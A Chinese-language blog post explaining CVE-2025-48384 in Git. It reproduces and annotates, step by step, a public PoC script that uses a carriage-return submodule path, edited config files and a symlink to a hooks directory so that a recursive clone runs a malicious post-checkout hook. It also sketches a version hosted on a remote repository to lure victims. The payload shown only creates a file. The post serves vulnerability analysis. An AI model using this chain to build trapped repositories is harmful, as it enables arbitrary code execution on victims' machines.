紧急预警!Git 高危漏洞PoC 完整复现流程曝光!漏洞 POC 深度解析:从代码到攻击链的完整拆解

7 月 8 日,GitHub 官方发布了关于 Git 的高危漏洞预警 ——CVE-2025-48384,该漏洞属于符号链接执行漏洞,风险等级为HIGH(8.0 分),且已证实可远程利用,目前 GitHub 上已出现 4 个公开的 PoC(漏洞验证代码),需立即引起重视!

漏洞核心信息回顾

  • 漏洞编号:CVE-2025-48384
  • 风险等级:HIGH(CVSS 3.1 评分 8.0)
  • 核心危害:远程攻击者可通过构造恶意仓库,诱导受害者克隆后执行任意代码
  • 公开 PoC:GitHub 仓库acheong08/CVE-2025-48384已发布完整利用代码,标题直指 “用一个回车符攻破 Git 并实现克隆时的 RCE”

从 PoC 看漏洞利用:一个回车符的 “链式攻击”

acheong08的仓库清晰展示了漏洞的利用逻辑 —— 通过巧妙构造包含特殊字符(回车符 CR) 的子模块路径、符号链接和钩子脚本,实现代码的非预期执行。其核心步骤如下:

1. 构造含回车符的子模块路径

PoC 中通过命令创建了一个末尾带有回车符(\r)的子模块路径:

# 注意路径末尾的$'\r'表示回车符
git submodule add https://github.com/acheong08/evil-submodule submodule$'\r'

当 Git 写入配置时,会因未对回车符加引号导致其丢失,后续读取路径时自动 “截断”,形成错误的解析结果(例如实际路径被识别为submodule而非submodule\r)。

2. 用符号链接 “劫持” 错误路径

攻击者在仓库中创建符号链接,将 Git 解析出的错误路径指向子模块的hooks目录:

# 让错误路径指向子模块的hooks目录
ln -s submodule/.git/hooks submodule

此时,当 Git 错误地将子模块检出到submodule(而非原路径submodule\r)时,会通过符号链接 “跳转到”hooks目录。

3. 植入恶意 post-checkout 钩子

在子模块的hooks目录中,攻击者预先放置了可执行的post-checkout脚本(例如包含echo "恶意代码执行成功"的测试命令)。由于 Git 在检出子模块后会自动触发post-checkout钩子,最终导致恶意脚本被执行。

构造含CR的子模块路径 → Git写入配置时丢失CR → 检出路径错误 → 符号链接指向hooks目录 → 触发恶意post-checkout钩子 → 代码执行

PoC 复现:普通人如何 “中招”?

根据仓库描述,即使是普通开发者,按照以下步骤操作也会触发漏洞:

  1. 克隆包含恶意构造的仓库(如git clone https://github.com/acheong08/CVE-2025-48384);
  2. 初始化子模块(git submodule update --init);
  3. 此时,恶意post-checkout脚本会被自动执行,屏幕上会显示攻击者预设的信息。

这意味着,无需管理员权限,只需克隆并初始化子模块,即可触发漏洞,攻击门槛极低。

从代码到攻击链的完整拆解

GitHub 用户acheong08公开的 CVE-2025-48384 漏洞 POC(仓库地址:https://github.com/acheong08/CVE-2025-48384),是对该漏洞利用流程的完整复现。该 POC 通过一系列精心设计的脚本操作,清晰展示了攻击者如何利用 Git 对 “回车符(CR)” 的处理缺陷,实现远程代码执行(RCE)。本文将逐行解析 POC 脚本,还原漏洞触发的每一个细节。

POC 核心目标:让恶意脚本 “自动执行”

该 POC 的最终目的是:当受害者使用 ** vulnerable 版本的 Git **(如 v2.50.0)执行git clone --recursive克隆包含恶意构造的仓库时,自动在受害者机器上创建/tmp/fishsucks文件 —— 这意味着植入的post-checkout钩子脚本被成功执行。整个过程无需受害者手动运行任何额外命令,完全依赖 Git 自身的子模块初始化和钩子机制。

本地测试脚本全解析(fish脚本)

POC 提供了本地测试脚本(#!/usr/bin/fish),共分为 ** 6 个关键步骤 **,每一步都针对漏洞的某个特性进行设计。

步骤 1:初始化子模块并植入恶意钩子

git init sub  # 创建名为“sub”的子模块仓库

# 写入恶意post-checkout钩子:执行后创建/tmp/fishsucks文件
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout

chmod +x sub/post-checkout  # 赋予执行权限,确保钩子可被触发
git -C sub add post-checkout  # 将钩子添加到子模块版本控制
git -C sub commit -m hook  # 提交子模块修改

关键作用

  • 子模块(sub)是恶意代码的 “载体”,其中的post-checkout是 Git 内置钩子 —— 当子模块被检出(checkout)后,Git 会自动执行该脚本。
  • 此处的touch /tmp/fishsucks是 “测试 payload”,实际攻击中可替换为任意恶意命令(如窃取文件、植入后门等)。

步骤 2:创建主仓库并添加子模块,篡改路径为 “带回车符”

git init repo  # 初始化主仓库“repo”
# 向主仓库添加子模块,原始路径为“sub”
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
# 将子模块路径重命名为“sub\r”(\r是回车符,不可见字符)
git -C repo mv sub (printf "sub\r")

关键作用

  • 这是利用漏洞的核心操作:通过printf "sub\r"创建包含回车符(CR)的路径。
  • Git 在处理路径时,会将sub\r视为合法路径,但在后续写入配置文件时,因对 CR 的 “未引号包裹” 缺陷,导致读取时 CR 被丢失(解析为sub),形成 “路径不一致”。

步骤 3:修改主仓库配置文件(.gitmodules),固化带回车符的路径

# 删除.gitmodules中原有子模块路径配置
git config unset -f repo/.gitmodules submodule.sub.path
# 手动添加带回车符的路径到.gitmodules
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

关键作用

  • .gitmodules是主仓库记录子模块路径的配置文件,攻击者通过手动写入"sub\r",确保子模块路径被 “强制记录” 为带 CR 的版本。
  • 但 Git 在读取该配置时,会自动剥离 CR,导致实际解析的路径为sub(与记录的sub\r不一致),为后续 “错误检出” 埋下伏笔。

步骤 4:修改子模块配置文件(core.worktree),扭曲工作目录解析

# 删除子模块配置中原有core.worktree设置
git config unset -f repo/.git/modules/sub/config core.worktree
# 手动添加带回车符的worktree路径
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

关键作用

  • core.worktree是子模块的核心配置,用于指定工作目录路径。此处设置为../../../sub\r,配合 CR 的丢失缺陷,会被解析为../../../sub
  • 这一操作的目的是:当子模块被错误检出到sub路径时,Git 会通过该配置 “错误定位” 工作目录,进一步放大路径混乱。

步骤 5:创建符号链接,将错误路径指向钩子目录

# 在主仓库中创建符号链接“repo/sub”,指向子模块的hooks目录
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A  # 将符号链接和配置修改添加到主仓库
git -C repo commit -m submodule  # 提交主仓库修改

关键作用

  • 符号链接(repo/sub -> .git/modules/sub/hooks)是 “桥梁”:当 Git 因 CR 丢失将子模块检出到sub路径时,会通过该链接 “误访问” 子模块的hooks目录(而非实际子模块内容)。
  • 此时,sub路径既是 “错误的子模块检出路径”,又是指向hooks目录的链接,为钩子执行创造条件。

步骤 6:克隆仓库并验证漏洞触发

# 克隆主仓库并递归初始化子模块(模拟受害者操作)
git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
# 检查/tmp/fishsucks是否生成(验证钩子是否执行)
not test -f "/tmp/fishsucks"

漏洞触发流程

  1. 受害者执行git clone --recursive,Git 读取主仓库的.gitmodules,解析子模块路径为sub(丢失 CR)。
  2. Git 尝试将子模块检出到bad-clone/sub,但该路径是符号链接,指向bad-clone/.git/modules/sub/hooks
  3. 子模块检出过程中,触发post-checkout钩子(位于hooks目录),执行touch /tmp/fishsucks,漏洞成功利用。

面向远程攻击的脚本修改(适配 GitHub 场景)

为模拟真实攻击(通过远程仓库传播),POC 提供了修改版脚本,核心差异在于:

  • 子模块从本地目录改为远程仓库(https://github.com/acheong08/totallynotsuspicious.git),更具隐蔽性。
  • 增加git -C sub push步骤,将含恶意钩子的子模块推送到远程,确保受害者克隆时能拉取到恶意代码。
# 从远程拉取子模块(而非本地创建)
if not test -d sub
    git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
    git -C sub pull
end

# 后续步骤与本地脚本一致:添加钩子、修改路径、创建符号链接等
# 最终推送到远程仓库,供受害者克隆

攻击场景还原
攻击者将构造好的主仓库和子模块推送到 GitHub,诱骗受害者克隆(如伪装成 “开源工具”“示例项目”)。受害者执行git clone --recursive时,即触发漏洞,恶意代码在本地执行。

POC 核心逻辑总结:利用 “三重不一致” 实现攻击

该 POC 的精妙之处在于,通过层层设计制造了 “三重不一致”,最终触发代码执行:

  1. ** 路径记录与解析不一致 **:配置文件记录sub\r,但 Git 读取时解析为sub(CR 丢失)。
  2. ** 实际路径与符号链接不一致 **:错误路径sub被符号链接指向hooks目录,导致访问路径≠实际内容。
  3. ** 工作目录配置与实际位置不一致 **:core.worktreesub\r被解析为sub,进一步扭曲子模块的目录定位。

这三重不一致叠加,使得 Git 在正常的子模块初始化流程中,“意外” 执行了恶意钩子脚本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值